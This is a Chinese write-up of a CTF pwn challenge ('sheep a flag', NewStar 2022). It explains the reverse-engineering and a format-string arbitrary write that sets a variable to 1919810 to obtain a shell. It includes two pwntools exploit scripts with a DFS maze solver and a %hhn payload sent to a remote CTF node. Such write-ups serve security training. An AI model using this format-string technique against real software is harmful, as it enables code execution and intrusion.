2022NewStar新生赛week3—sheep a flag
先看看开了什么保护机制
打开64位ida看看
看了一下,同时自己运行一下就会发现其实21行之前都是走迷宫,18、19、20三行是生成迷宫,21行是打印到屏幕,22行是判断你的输入能不能走出迷宫,如果你走出了迷宫,那么我们就可以执行27行的函数,点进去看看是啥东西
也就是说我们要去找一个叫做0x40119cLL的函数,jumpout嘛,就是jump
一个格式化字符串漏洞,要注意这个实际上还是在栈上的,因为你看,v0是局部变量在栈上而且你看这个注释rbp,就说明了他就是rbp,是一个地址,*(v0-96)这个就是对距离rbp96的地方读入数据。回到刚刚的主函数,28行判断一个变量是不是1919810,是的话就给shell,system("$0")也是给shell的一种形式,可以记下来。
所以说我们就是要利用之前的格式化字符任意地址写来改变这个变量的值,然后由于这个数字较大,个人建议一个字节一个字节写入,当然你一起写在这题也是没问题的,但是如果数字再大点就不行了,毕竟你要输出太多的字符交互会挂掉
1919810变成16进制是0x1d4b42,也就是我们要写三次,分别是1d、4b、42,写入的位置分别是0x602080、0x602081、0x602082,然后因为我们%hhn的特性是输出了多少个字符就写成多少,所以我们应该按从小到大的顺序写,也就是1d写到0x602080、42写到0x602082、4b写到0x602081
然后走迷宫的话我这边就提供思路不细说了,第一种思路就是手打,你用脚本把接收到的信息输出出来,然后自己手走,然后把结果输入到脚本里,通过脚本发送,第二种就是写个dfs的脚本,这个就是acm的事了,我这边直接提供第二种思路的脚本了
这个是python2的
# -*- coding: UTF-8 -*-
from pwn import*
ans=''
v=[]
map=[]
def dfs(res,x,y):
global ans
#print(x,y,flag_x,flag_y,res,sep=' ')
if x==flag_x and y==flag_y:
print('you')
ans=res
return
if x>0 and map[x-1][y]!=0 and v[x-1][y]!=1:
v[x-1][y]=1
dfs(res+'w',x-1,y)
v[x-1][y]=0
if y>0 and map[x][y-1]!=0 and v[x][y-1]!=1:
v[x][y-1]=1
dfs(res+'a',x,y-1)
v[x][y-1]=0
if y<23 and map[x][y+1]!=0 and v[x][y+1]!=1:
v[x][y+1]=1
dfs(res+'d',x,y+1)
v[x][y+1]=0
if x<23 and map[x+1][y]!=0 and v[x+1][y]!=1:
v[x+1][y]=1
dfs(res+'s',x+1,y)
v[x+1][y]=0
return
p=remote('node4.buuoj.cn',27884)
#p=process('./sheep')
#gdb.attach(p)
sheep_x=-1
sheep_y=-1
flag_x=-1
flag_y=-1
p.recvuntil('position!\n')
for i in range(24):
x=[]
y=[]
a=p.recvline().decode("utf-8")
for j in range(24):
y.append(0)
if a[j]=="🈲".decode("utf-8"):
x.append(0)
if a[j]=='⬛'.decode("utf-8"):
x.append(0)
if a[j]=='⬜'.decode("utf-8"):
x.append(1)
if a[j]=='🐏'.decode("utf-8"):
x.append(2)
sheep_x=i
sheep_y=j
if a[j]=='🚩'.decode("utf-8"):
x.append(3)
flag_x=i
flag_y=j
map.append(x)
v.append(y)
dfs('',sheep_x,sheep_y)
p.recvuntil('Ans: \n')
p.sendline(ans)
p.recvuntil('it ?!\n')
payload=b'%29c%10$hhn%37c%11$hhn%9c%12$hhn'+p64(0x602082)+p64(0x602080)+p64(0x602081)
p.sendline(payload)
p.interactive()
这个是python3的
from pwn import*
ans=''
v=[]
map=[]
def dfs(res,x,y):
global ans
#print(x,y,flag_x,flag_y,res,sep=' ')
if x==flag_x and y==flag_y:
print('you')
ans=res
return
if x>0 and map[x-1][y]!=0 and v[x-1][y]!=1:
v[x-1][y]=1
dfs(res+'w',x-1,y)
v[x-1][y]=0
if y>0 and map[x][y-1]!=0 and v[x][y-1]!=1:
v[x][y-1]=1
dfs(res+'a',x,y-1)
v[x][y-1]=0
if y<23 and map[x][y+1]!=0 and v[x][y+1]!=1:
v[x][y+1]=1
dfs(res+'d',x,y+1)
v[x][y+1]=0
if x<23 and map[x+1][y]!=0 and v[x+1][y]!=1:
v[x+1][y]=1
dfs(res+'s',x+1,y)
v[x+1][y]=0
return
p=remote('node4.buuoj.cn',26341)
#p=process('./sheep')
#gdb.attach(p)
sheep_x=-1
sheep_y=-1
flag_x=-1
flag_y=-1
p.recvuntil('position!\n')
for i in range(24):
x=[]
y=[]
a=p.recvline().decode()
for j in range(24):
y.append(0)
if a[j]=="🈲":
x.append(0)
if a[j]=='⬛':
x.append(0)
if a[j]=='⬜':
x.append(1)
if a[j]=='🐏':
x.append(2)
sheep_x=i
sheep_y=j
if a[j]=='🚩':
x.append(3)
flag_x=i
flag_y=j
map.append(x)
v.append(y)
print(a,end='')
print(sheep_x,sheep_y,sep=' ')
dfs('',sheep_x,sheep_y)
print(ans)
p.recvuntil('Ans: \n')
p.sendline(ans)
p.recvuntil('it ?!\n')
payload=b'%29c%10$hhn%37c%11$hhn%9c%12$hhn'+p64(0x602082)+p64(0x602080)+p64(0x602081)
p.sendline(payload)
p.interactive()